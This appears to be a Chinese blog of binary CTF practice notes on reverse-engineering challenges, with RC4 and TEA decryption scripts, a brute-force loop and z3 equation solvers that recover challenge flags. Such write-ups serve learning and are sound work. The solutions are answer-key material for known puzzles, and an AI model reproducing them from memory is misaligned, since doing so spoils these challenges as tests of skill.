(不定期更新)二进制ctf练习

分为re、pwn和other三部分,用作记录思路和用得上的gadget。

以下二级标题不带网站的默认为buuoj对应分区题目。

re

xctf-50: catch-me

getenv函数用来获取环境变量,python中手动设置环境变量的脚本如下:

1
2
3
# if ASIS == CTF == 0x4ff2da0a, then
export ASIS="$(printf "\x0a\xda\xf2\x4f")"
export CTF="$(printf "\x0a\xda\xf2\x4f")"

我那几十行的浮点指令白看了

buu-n1book: babyalgo

常见算法识别,容易看见密文和密钥,就猜是什么加密算法呗。

(30min后……)

cyberchef一个个都试完了,全都解不出来…

查看题解,发现是RC4,然后发现cyberchef的base64加密和RC4的解密结果都是错的,真无语。

RC4算法识别:

从网上嫖来的解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
def rc4_main(key = "init_key", message = "init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
print("原来的 s 盒:%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒:%s"% s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串,解密后是:%res" %res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是:%s" %cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return cipher
a=[0xc6,0x21,0xca,0xbf,0x51,0x43,0x37,0x31,0x75,0xe4,0x8e,0xc0,0x54,0x6f,0x8f,0xee,0xf8,0x5a,0xa2,0xc1,0xeb,0xa5,0x34,0x6d,0x71,0x55,0x8,0x7,0xb2,0xa8,0x2f,0xf4,0x51,0x8e,0xc,0xcc,0x33,0x53,0x31,0x0,0x40,0xd6,0xca,0xec,0xd4]
s=""
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main("Nu1Lctf233", s)

susctf: DigitalCircuits

给出了一个python打包的exe。我们使用PyInstaller Extractor解包。

得到了一堆pyc、pyd、dll文件,我们找到DigitalCircuits文件和struct文件,将后者的前16个字节append到前者的文件头,使用uncompyle6或者pycdc反编译为源码。

通过数电知识,我们可以分析前九个函数对应的含义,得到以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time

def AND(a, b):
if a == '1':
if b == '1':
return '1'
return '0'


def OR(a, b):
if a == '0':
if b == '0':
return '0'
return '1'


def NOT(a):
if a == '1':
return '0'
if a == '0':
return '1'


def XOR(a, b):
return OR(AND(a, NOT(b)), AND(NOT(a), b))


def ADD(x, y, z): #low -> high
s = XOR(XOR(x, y), z)
c = OR(AND(x, y), AND(z, OR(x, y)))
return (s, c)


def str_ADD(a, b):
ans = ''
z = '0'
a = a[::-1]
b = b[::-1]
for i in range(32):
ans += ADD(a[i], b[i], z)[0]
z = ADD(a[i], b[i], z)[1]

return ans[::-1]


def SHL(a, n):
return a[n:] + '0' * n


def SHR(a, n):
return n * '0' + a[:-n]


def str_XOR(a, b):
ans = ''
for i in range(32):
ans += XOR(a[i], b[i])

return ans


def f10(v0, v1, k0, k1, k2, k3):
s = '00000000000000000000000000000000'
d = '10011110001101110111100110111001'
for i in range(32):
s = str_ADD(s, d)
v0 = str_ADD(v0, str_XOR(str_XOR(str_ADD(SHL(v1, 4), k0), str_ADD(v1, s)), str_ADD(SHR(v1, 5), k1)))
v1 = str_ADD(v1, str_XOR(str_XOR(str_ADD(SHL(v0, 4), k2), str_ADD(v0, s)), str_ADD(SHR(v0, 5), k3)))

return v0 + v1

k0 = '0100010001000101'.zfill(32)
k1 = '0100000101000100'.zfill(32)
k2 = '0100001001000101'.zfill(32)
k3 = '0100010101000110'.zfill(32)
flag = input('please input flag:')
if flag[0:7] != 'SUSCTF{' or flag[(-1)] != '}':
print('Error!!!The formate of flag is SUSCTF{XXX}')
time.sleep(5)
exit(0)
flagstr = flag[7:-1]
if len(flagstr) != 24:
print('Error!!!The length of flag 24')
time.sleep(5)
exit(0)
else:
res = ''
for i in range(0, len(flagstr), 8):
v0 = flagstr[i:i + 4]
v0 = bin(ord(flagstr[i]))[2:].zfill(8) + bin(ord(flagstr[(i + 1)]))[2:].zfill(8) + bin(ord(flagstr[(i + 2)]))[2:].zfill(8) + bin(ord(flagstr[(i + 3)]))[2:].zfill(8)
v1 = bin(ord(flagstr[(i + 4)]))[2:].zfill(8) + bin(ord(flagstr[(i + 5)]))[2:].zfill(8) + bin(ord(flagstr[(i + 6)]))[2:].zfill(8) + bin(ord(flagstr[(i + 7)]))[2:].zfill(8)
res += f10(v0, v1, k0, k1, k2, k3)

if res == '001111101000100101000111110010111100110010010100010001100011100100110001001101011000001110001000001110110000101101101000100100111101101001100010011100110110000100111011001011100110010000100111':
print('True')
else:
print('False')
time.sleep(5)

将f10中的10011110001101110111100110111001转为16进制结果为0x9e3779b9,上网查询是TEA/XTEA/XXTEA的一种特殊常数,再进一步分析源码可知是TEA。

附上C解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea (uint32_t* v,int n, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}


int main()
{
uint32_t v[2]= {0x3e8947cb,0xcc944639};
uint32_t w[2]= {0x31358388,0x3b0b6893};
uint32_t x[2]= {0xda627361,0x3b2e6427};

uint32_t const k[4]= {17477,16708,16965,17734};
int n = 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
btea(v, -n, k);
printf("%x %x ",v[0],v[1]);
btea(w, -n, k);
printf("%x %x ",w[0],w[1]);
btea(x, -n, k);
printf("%x %x",x[0],x[1]);
return 0;
}

starctf: Simple File System

沿用了新生赛时PVZ的做法,先尝试将flag改成一个全0串,然后导出bury的flag。

发现导出的加密值是固定不变的,比PVZ还简单一些。

于是将flag改成所有的可见字符串,再导出,可以形成一个明文到密文的映射。

输入:

1
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}

输出:

因为*CTF对应的密文是00 d2 fc d8,在image.flag中找到这串16进制数后,再解密回来即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include<bits/stdc++.h>
using namespace std;
int A[100], bs[100] = {0x14, 0x16, 0x10, 0x12, 0x1c, 0x1e, 0x18, 0x1a, 0x04, 0x06, 0x00, 0x02, 0x0c, 0x0e, 0x08, 0x0a};
int B[100];
map <int,int> mp;
map <int,int>inv;
int dat[50] = {0x0, 0xd2, 0xfc, 0xd8, 0xa2, 0xda, 0xba, 0x9e, 0x9c, 0x26, 0xf8, 0xf6, 0xb4, 0xce, 0x3c, 0xcc, 0x96, 0x88, 0x98, 0x34, 0x82, 0xde, 0x80, 0x36, 0x8a, 0xd8, 0xc0, 0xf0, 0x38, 0xae, 0x40};
int main() {
for(int i = 32; i < 126; i++)
A[i - 32] = i;
int x;
for(x = 1; x < 16; x++)
B[x] = bs[x];
for(x = 16; x < 32; x++)
B[x] = bs[x-16]+0x20;
for(x = 32; x < 48; x++)
B[x] = bs[x-32]+0xc0;
for(x = 48; x < 64; x++)
B[x] = bs[x-48]+0xe0;
for(x = 64; x < 80; x++)
B[x] = bs[x-64]+0x80;
for(x = 80; x < 96; x++)
B[x] = bs[x-80]+0xa0;
for(int i = 1; i < 96; i++) {
mp[A[i]] = B[i];
inv[B[i]] = A[i];
}
//printf("%x %x %x %x",mp['*'],mp['C'],mp['T'],mp['F']);
for(int i = 0; i < 31; i++)
printf("%c", inv[dat[i]]);
return 0;
}

Youngter-drive

一道多线程的题目:

注意这个程序创建了两个线程,其中前面一个线程会对输入字节进行处理,并将位置指针dword_418008减1,后面那个只是把dword_418008减一,指针的值直到-1为止。

注意到dword_418008的初始值是29,因此程序只会对奇数位的值进行变换(其实奇数位试一次,偶数位再试一次也可以),另外也可以得知输入长30位。

由于加密后只对比前29位(0~28),因此最后一位需要手动爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <bits/stdc++.h>
using namespace std;
char ipt[100] = "TOiZiZtOrYaToUwPnToBsOaOapsyS";
char QWERTY[100] = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
int main(){
for(int i = 0; i < 29; i++) {
if(i % 2 == 0) {
cout << ipt[i];
continue;
}
for(int j = 'A'; j <= 'z'; j++) { // brute force directly
char tmp = 0;
if(j >= 'A' && j <= 'Z')
tmp = QWERTY[j - 38];
else if(j >= 'a' && j <= 'z')
tmp = QWERTY[j - 96];
if(tmp == ipt[i])
cout << char(j);
}
}
return 0;
}// only pre_29 bytes

Universe_final_answer

z3模板题,这里只贴z3部分的代码便以后参阅。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from z3 import *
v1, v2, v3, v4, v5, v6, v7, v8, v9, v11 = Ints('v1 v2 v3 v4 v5 v6 v7 v8 v9 v11')
solver = Solver()
solver.add( -85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613 )
solver.add(30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400)
solver.add(-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 * 64) - 120 * v9 == -10283)
solver.add(71 * v6 + (v7 * 128) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855)
solver.add(5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944)
solver.add(-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222)
solver.add(-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258)
solver.add(81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559)
solver.add(101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308 )
solver.add(99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697)

if solver.check() == sat:
result = solver.model()
print(result)

equation

js解密jsfuck脚本:

正则匹配是个好东西,可惜我不会。

1
2
3
4
5
6
7
8
9
10
11
12
<script>
function deEquation(str) {
for (let i = 0; i <= 1; i++) {
str = str.replace(/l\[(\D*?)](\+l|-l|==)/g, (m, a, b) => 'l[' + eval(a) + ']' + b);
}
str = str.replace(/==(\D*?)&&/g, (m, a) => '==' + eval(a) + '&&');
return str;
}
s = 'your jsfuck string'
ss=deEquation(s);
document.write(ss);
</script>

解出来一堆等式,用正则表达式替换,将&&替换成\n,方便多行编辑。

然后使用z3解方程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from z3 import *
s = Solver()
l = [Int("x_%s" % i) for i in range(42)]
s.add(l[40]+l[35]+l[34]-l[0]-l[15]-l[37]+l[7]+l[6]-l[26]+l[20]+l[19]+l[8]-l[17]-l[14]-l[38]+l[1]-l[9]+l[22]+l[41]+l[3]-l[29]-l[36]-l[25]+l[5]+l[32]-l[16]+l[12]-l[24]+l[30]+l[39]+l[10]+l[2]+l[27]+l[28]+l[21]+l[33]-l[18]+l[4]==861)
s.add(l[31]+l[26]+l[11]-l[33]+l[27]-l[3]+l[12]+l[30]+l[1]+l[32]-l[16]+l[7]+l[10]-l[25]+l[38]-l[41]-l[14]-l[19]+l[29]+l[36]-l[9]-l[28]-l[6]-l[0]-l[22]-l[18]+l[20]-l[37]+l[4]-l[24]+l[34]-l[21]-l[39]-l[23]-l[8]-l[40]+l[15]-l[35]==-448)
s.add(l[26]+l[14]+l[15]+l[9]+l[13]+l[30]-l[11]+l[18]+l[23]+l[7]+l[3]+l[12]+l[25]-l[24]-l[39]-l[35]-l[20]+l[40]-l[8]+l[10]-l[5]-l[33]-l[31]+l[32]+l[19]+l[21]-l[6]+l[1]+l[16]+l[17]+l[29]+l[22]-l[4]-l[36]+l[41]+l[38]+l[2]+l[0]==1244)
s.add(l[5]+l[22]+l[15]+l[2]-l[28]-l[10]-l[3]-l[13]-l[18]+l[30]-l[9]+l[32]+l[19]+l[34]+l[23]-l[17]+l[16]-l[7]+l[24]-l[39]+l[8]-l[12]-l[40]-l[25]+l[37]-l[35]+l[11]-l[14]+l[20]-l[27]+l[4]-l[33]-l[21]+l[31]-l[6]+l[1]+l[38]-l[29]==-39)
s.add(l[41]-l[29]+l[23]-l[4]+l[20]-l[33]+l[35]+l[3]-l[19]-l[21]+l[11]+l[26]-l[24]-l[17]+l[37]+l[1]+l[16]-l[0]-l[13]+l[7]+l[10]+l[14]+l[22]+l[39]-l[40]+l[34]-l[38]+l[32]+l[25]-l[2]+l[15]+l[6]+l[28]-l[8]-l[5]-l[31]-l[30]-l[27]==485)
s.add(l[13]+l[19]+l[21]-l[2]-l[33]-l[0]+l[39]+l[31]-l[23]-l[41]+l[38]-l[29]+l[36]+l[24]-l[20]-l[9]-l[32]+l[37]-l[35]+l[40]+l[7]-l[26]+l[15]-l[10]-l[6]-l[16]-l[4]-l[5]-l[30]-l[14]-l[22]-l[25]-l[34]-l[17]-l[11]-l[27]+l[1]-l[28]==-1068)
s.add(l[32]+l[0]+l[9]+l[14]+l[11]+l[18]-l[13]+l[24]-l[2]-l[15]+l[19]-l[21]+l[1]+l[39]-l[8]-l[3]+l[33]+l[6]-l[5]-l[35]-l[28]+l[25]-l[41]+l[22]-l[17]+l[10]+l[40]+l[34]+l[27]-l[20]+l[23]+l[31]-l[16]+l[7]+l[12]-l[30]+l[29]-l[4]==939)
s.add(l[19]+l[11]+l[20]-l[16]+l[40]+l[25]+l[1]-l[31]+l[28]-l[23]+l[14]-l[9]-l[27]+l[35]+l[39]-l[37]-l[8]-l[22]+l[5]-l[6]+l[0]-l[32]+l[24]+l[33]+l[29]+l[38]+l[15]-l[2]+l[30]+l[7]+l[12]-l[3]-l[17]+l[34]+l[41]-l[4]-l[13]-l[26]==413)
s.add(l[22]+l[4]-l[9]+l[34]+l[35]+l[17]+l[3]-l[24]+l[38]-l[5]-l[41]-l[31]-l[0]-l[25]+l[33]+l[15]-l[1]-l[10]+l[16]-l[29]-l[12]+l[26]-l[39]-l[21]-l[18]-l[6]-l[40]-l[13]+l[8]+l[37]+l[19]+l[14]+l[32]+l[28]-l[11]+l[23]+l[36]+l[7]==117)
s.add(l[32]+l[16]+l[3]+l[11]+l[34]-l[31]+l[14]+l[25]+l[1]-l[30]-l[33]-l[40]-l[4]-l[29]+l[18]-l[27]+l[13]-l[19]-l[12]+l[23]-l[39]-l[41]-l[8]+l[22]-l[5]-l[38]-l[9]-l[37]+l[17]-l[36]+l[24]-l[21]+l[2]-l[26]+l[20]-l[7]+l[35]-l[0]==-313)
s.add(l[40]-l[1]+l[5]+l[7]+l[33]+l[29]+l[12]+l[38]-l[31]+l[2]+l[14]-l[35]-l[8]-l[24]-l[39]-l[9]-l[28]+l[23]-l[17]-l[22]-l[26]+l[32]-l[11]+l[4]-l[36]+l[10]+l[20]-l[18]-l[16]+l[6]-l[0]+l[3]-l[30]+l[37]-l[19]+l[21]+l[25]-l[15]==-42)
s.add(l[21]+l[26]-l[17]-l[25]+l[27]-l[22]-l[39]-l[23]-l[15]-l[20]-l[32]+l[12]+l[3]-l[6]+l[28]+l[31]+l[13]-l[16]-l[37]-l[30]-l[5]+l[41]+l[29]+l[36]+l[1]+l[11]+l[24]+l[18]-l[40]+l[19]-l[35]+l[2]-l[38]+l[14]-l[9]+l[4]+l[0]-l[33]==289)
s.add(l[29]+l[31]+l[32]-l[17]-l[7]+l[34]+l[2]+l[14]+l[23]-l[4]+l[3]+l[35]-l[33]-l[9]-l[20]-l[37]+l[24]-l[27]+l[36]+l[15]-l[18]-l[0]+l[12]+l[11]-l[38]+l[6]+l[22]+l[39]-l[25]-l[10]-l[19]-l[1]+l[13]-l[41]+l[30]-l[16]+l[28]-l[26]==-117)
s.add(l[5]+l[37]-l[39]+l[0]-l[27]+l[12]+l[41]-l[22]+l[8]-l[16]-l[38]+l[9]+l[15]-l[35]-l[29]+l[18]+l[6]-l[25]-l[28]+l[36]+l[34]+l[32]-l[14]-l[1]+l[20]+l[40]-l[19]-l[4]-l[7]+l[26]+l[30]-l[10]+l[13]-l[21]+l[2]-l[23]-l[3]-l[33]==-252)
s.add(l[29]+l[10]-l[41]-l[9]+l[12]-l[28]+l[11]+l[40]-l[27]-l[8]+l[32]-l[25]-l[23]+l[39]-l[1]-l[36]-l[15]+l[33]-l[20]+l[18]+l[22]-l[3]+l[6]-l[34]-l[21]+l[19]+l[26]+l[13]-l[4]+l[7]-l[37]+l[38]-l[2]-l[30]-l[0]-l[35]+l[5]+l[17]==-183)
s.add(l[6]-l[8]-l[20]+l[34]-l[33]-l[25]-l[4]+l[3]+l[17]-l[13]-l[15]-l[40]+l[1]-l[30]-l[14]-l[28]-l[35]+l[38]-l[22]+l[2]+l[24]-l[29]+l[5]+l[9]+l[37]+l[23]-l[18]+l[19]-l[21]+l[11]+l[36]+l[41]-l[7]-l[32]+l[10]+l[26]-l[0]+l[31]==188)
s.add(l[3]+l[6]-l[41]+l[10]+l[39]+l[37]+l[1]+l[8]+l[21]+l[24]+l[29]+l[12]+l[27]-l[38]+l[11]+l[23]+l[28]+l[33]-l[31]+l[14]-l[5]+l[32]-l[17]+l[40]-l[34]+l[20]-l[22]-l[16]+l[19]+l[2]-l[36]-l[7]+l[18]+l[15]+l[26]-l[0]-l[4]+l[35]==1036)
s.add(l[28]-l[33]+l[2]+l[37]-l[12]-l[9]-l[39]+l[16]-l[32]+l[8]-l[36]+l[31]+l[10]-l[4]+l[21]-l[25]+l[18]+l[24]-l[0]+l[29]-l[26]+l[35]-l[22]-l[41]-l[6]+l[15]+l[19]+l[40]+l[7]+l[34]+l[17]-l[3]-l[13]+l[5]+l[23]+l[11]-l[27]+l[1]==328)
s.add(l[22]-l[32]+l[17]-l[9]+l[20]-l[18]-l[34]+l[23]+l[36]-l[35]-l[38]+l[27]+l[4]-l[5]-l[41]+l[29]+l[33]+l[0]-l[37]+l[28]-l[40]-l[11]-l[12]+l[7]+l[1]+l[2]-l[26]-l[16]-l[8]+l[24]-l[25]+l[3]-l[6]-l[19]-l[39]-l[14]-l[31]+l[10]==-196)
s.add(l[11]+l[13]+l[14]-l[15]-l[29]-l[2]+l[7]+l[20]+l[30]-l[36]-l[33]-l[19]+l[31]+l[0]-l[39]-l[4]-l[6]+l[38]+l[35]-l[28]+l[34]-l[9]-l[23]-l[26]+l[37]-l[8]-l[27]+l[5]-l[41]+l[3]+l[17]+l[40]-l[10]+l[25]+l[12]-l[24]+l[18]+l[32]==7)
s.add(l[34]-l[37]-l[40]+l[4]-l[22]-l[31]-l[6]+l[38]+l[13]-l[28]+l[8]+l[30]-l[20]-l[7]-l[32]+l[26]+l[1]-l[18]+l[5]+l[35]-l[24]-l[41]+l[9]-l[0]-l[2]-l[15]-l[10]+l[12]-l[36]+l[33]-l[16]-l[14]-l[25]-l[29]-l[21]+l[27]+l[3]-l[17]==-945)
s.add(l[12]-l[30]-l[8]+l[20]-l[2]-l[36]-l[25]-l[0]-l[19]-l[28]-l[7]-l[11]-l[33]+l[4]-l[23]+l[10]-l[41]+l[39]-l[32]+l[27]+l[18]+l[15]+l[34]+l[13]-l[40]+l[29]-l[6]+l[37]-l[14]-l[16]+l[38]-l[26]+l[17]+l[31]-l[22]-l[35]+l[5]-l[1]==-480)
s.add(l[36]-l[11]-l[34]+l[8]+l[0]+l[15]+l[28]-l[39]-l[32]-l[2]-l[27]+l[22]+l[16]-l[30]-l[3]+l[31]-l[26]+l[20]+l[17]-l[29]-l[18]+l[19]-l[10]+l[6]-l[5]-l[38]-l[25]-l[24]+l[4]+l[23]+l[9]+l[14]+l[21]-l[37]+l[13]-l[41]-l[12]+l[35]==-213)
s.add(l[19]-l[36]-l[12]+l[33]-l[27]-l[37]-l[25]+l[38]+l[16]-l[18]+l[22]-l[39]+l[13]-l[7]-l[31]-l[26]+l[15]-l[10]-l[9]-l[2]-l[30]-l[11]+l[41]-l[4]+l[24]+l[34]+l[5]+l[17]+l[14]+l[6]+l[8]-l[21]-l[23]+l[32]-l[1]-l[29]-l[0]+l[3]==-386)
s.add(l[0]+l[7]-l[28]-l[38]+l[19]+l[31]-l[5]+l[24]-l[3]+l[33]-l[12]-l[29]+l[32]+l[1]-l[34]-l[9]-l[25]+l[26]-l[8]+l[4]-l[10]+l[40]-l[15]-l[11]-l[27]+l[36]+l[14]+l[41]-l[35]-l[13]-l[17]-l[21]-l[18]+l[39]-l[2]+l[20]-l[23]-l[22]==-349)
s.add(l[10]+l[22]+l[21]-l[0]+l[15]-l[6]+l[20]-l[29]-l[30]-l[33]+l[19]+l[23]-l[28]+l[41]-l[27]-l[12]-l[37]-l[32]+l[34]-l[36]+l[3]+l[1]-l[13]+l[18]+l[14]+l[9]+l[7]-l[39]+l[8]+l[2]-l[31]-l[5]-l[40]+l[38]-l[26]-l[4]+l[16]-l[25]==98)
s.add(l[28]+l[38]+l[20]+l[0]-l[5]-l[34]-l[41]+l[22]-l[26]+l[11]+l[29]+l[31]-l[3]-l[16]+l[23]+l[17]-l[18]+l[9]-l[4]-l[12]-l[19]-l[40]-l[27]+l[33]+l[8]-l[37]+l[2]+l[15]-l[24]-l[39]+l[10]+l[35]-l[1]+l[30]-l[36]-l[25]-l[14]-l[32]==-412)
s.add(l[1]-l[24]-l[29]+l[39]+l[41]+l[0]+l[9]-l[19]+l[6]-l[37]-l[22]+l[32]+l[21]+l[28]+l[36]+l[4]-l[17]+l[20]-l[13]-l[35]-l[5]+l[33]-l[27]-l[30]+l[40]+l[25]-l[18]+l[34]-l[3]-l[10]-l[16]-l[23]-l[38]+l[8]-l[14]-l[11]-l[7]+l[12]==-95)
s.add(l[2]-l[24]+l[31]+l[0]+l[9]-l[6]+l[7]-l[1]-l[22]+l[8]-l[23]+l[40]+l[20]-l[38]-l[11]-l[14]+l[18]-l[36]+l[15]-l[4]-l[41]-l[12]-l[34]+l[32]-l[35]+l[17]-l[21]-l[10]-l[29]+l[39]-l[16]+l[27]+l[26]-l[3]-l[5]+l[13]+l[25]-l[28]==-379)
s.add(l[19]-l[17]+l[31]+l[14]+l[6]-l[12]+l[16]-l[8]+l[27]-l[13]+l[41]+l[2]-l[7]+l[32]+l[1]+l[25]-l[9]+l[37]+l[34]-l[18]-l[40]-l[11]-l[10]+l[38]+l[21]+l[3]-l[0]+l[24]+l[15]+l[23]-l[20]+l[26]+l[22]-l[4]-l[28]-l[5]+l[39]+l[35]==861)
s.add(l[35]+l[36]-l[16]-l[26]-l[31]+l[0]+l[21]-l[13]+l[14]+l[39]+l[7]+l[4]+l[34]+l[38]+l[17]+l[22]+l[32]+l[5]+l[15]+l[8]-l[29]+l[40]+l[24]+l[6]+l[30]-l[2]+l[25]+l[23]+l[1]+l[12]+l[9]-l[10]-l[3]-l[19]+l[20]-l[37]-l[33]-l[18]==1169)
s.add(l[13]+l[0]-l[25]-l[32]-l[21]-l[34]-l[14]-l[9]-l[8]-l[15]-l[16]+l[38]-l[35]-l[30]-l[40]-l[12]+l[3]-l[19]+l[4]-l[41]+l[2]-l[36]+l[37]+l[17]-l[1]+l[26]-l[39]-l[10]-l[33]+l[5]-l[27]-l[23]-l[24]-l[7]+l[31]-l[28]-l[18]+l[6]==-1236)
s.add(l[20]+l[27]-l[29]-l[25]-l[3]+l[28]-l[32]-l[11]+l[10]+l[31]+l[16]+l[21]-l[7]+l[4]-l[24]-l[35]+l[26]+l[12]-l[37]+l[6]+l[23]+l[41]-l[39]-l[38]+l[40]-l[36]+l[8]-l[9]-l[5]-l[1]-l[13]-l[14]+l[19]+l[0]-l[34]-l[15]+l[17]+l[22]==-114)
s.add(l[12]-l[28]-l[13]-l[23]-l[33]+l[18]+l[10]+l[11]+l[2]-l[36]+l[41]-l[16]+l[39]+l[34]+l[32]+l[37]-l[38]+l[20]+l[6]+l[7]+l[31]+l[5]+l[22]-l[4]-l[15]-l[24]+l[17]-l[3]+l[1]-l[35]-l[9]+l[30]+l[25]-l[0]-l[8]-l[14]+l[26]+l[21]==659)
s.add(l[21]-l[3]+l[7]-l[27]+l[0]-l[32]-l[24]-l[37]+l[4]-l[22]+l[20]-l[5]-l[30]-l[31]-l[1]+l[15]+l[41]+l[12]+l[40]+l[38]-l[17]-l[39]+l[19]-l[13]+l[23]+l[18]-l[2]+l[6]-l[33]-l[9]+l[28]+l[8]-l[16]-l[10]-l[14]+l[34]+l[35]-l[11]==-430)
s.add(l[11]-l[23]-l[9]-l[19]+l[17]+l[38]-l[36]-l[22]-l[10]+l[27]-l[14]-l[4]+l[5]+l[31]+l[2]+l[0]-l[16]-l[8]-l[28]+l[3]+l[40]+l[25]-l[33]+l[13]-l[32]-l[35]+l[26]-l[20]-l[41]-l[30]-l[12]-l[7]+l[37]-l[39]+l[15]+l[18]-l[29]-l[21]==-513)
s.add(l[32]+l[19]+l[4]-l[13]-l[17]-l[30]+l[5]-l[33]-l[37]-l[15]-l[18]+l[7]+l[25]-l[14]+l[35]+l[40]+l[16]+l[1]+l[2]+l[26]-l[3]-l[39]-l[22]+l[23]-l[36]-l[27]-l[9]+l[6]-l[41]-l[0]-l[31]-l[20]+l[12]-l[8]+l[29]-l[11]-l[34]+l[21]==-502)
s.add(l[30]-l[31]-l[36]+l[3]+l[9]-l[40]-l[33]+l[25]+l[39]-l[26]+l[23]-l[0]-l[29]-l[32]-l[4]+l[37]+l[28]+l[21]+l[17]+l[2]+l[24]+l[6]+l[5]+l[8]+l[16]+l[27]+l[19]+l[12]+l[20]+l[41]-l[22]+l[15]-l[11]+l[34]-l[18]-l[38]+l[1]-l[14]==853)
s.add(l[38]-l[10]+l[16]+l[8]+l[21]-l[25]+l[36]-l[30]+l[31]-l[3]+l[5]-l[15]+l[23]-l[28]+l[7]+l[12]-l[29]+l[22]-l[0]-l[37]-l[14]-l[11]+l[32]+l[33]-l[9]+l[39]+l[41]-l[19]-l[1]+l[18]-l[4]-l[6]+l[13]+l[20]-l[2]-l[35]-l[26]+l[27]==-28)
s.add(l[11]+l[18]-l[26]+l[15]-l[14]-l[33]+l[7]-l[23]-l[25]+l[0]-l[6]-l[21]-l[16]+l[17]-l[19]-l[28]-l[38]-l[37]+l[9]+l[20]-l[8]-l[3]+l[22]-l[35]-l[10]-l[31]-l[2]+l[41]-l[1]-l[4]+l[24]-l[34]+l[39]+l[40]+l[32]-l[5]+l[36]-l[27]==-529)
s.add(l[38]+l[8]+l[36]+l[35]-l[23]-l[34]+l[13]-l[4]-l[27]-l[24]+l[26]+l[31]-l[30]-l[5]-l[40]+l[28]-l[11]-l[2]-l[39]+l[15]+l[10]-l[17]+l[3]+l[19]+l[22]+l[33]+l[0]+l[37]+l[16]-l[9]-l[32]+l[25]-l[21]-l[12]+l[6]-l[41]+l[20]-l[18]==-12)
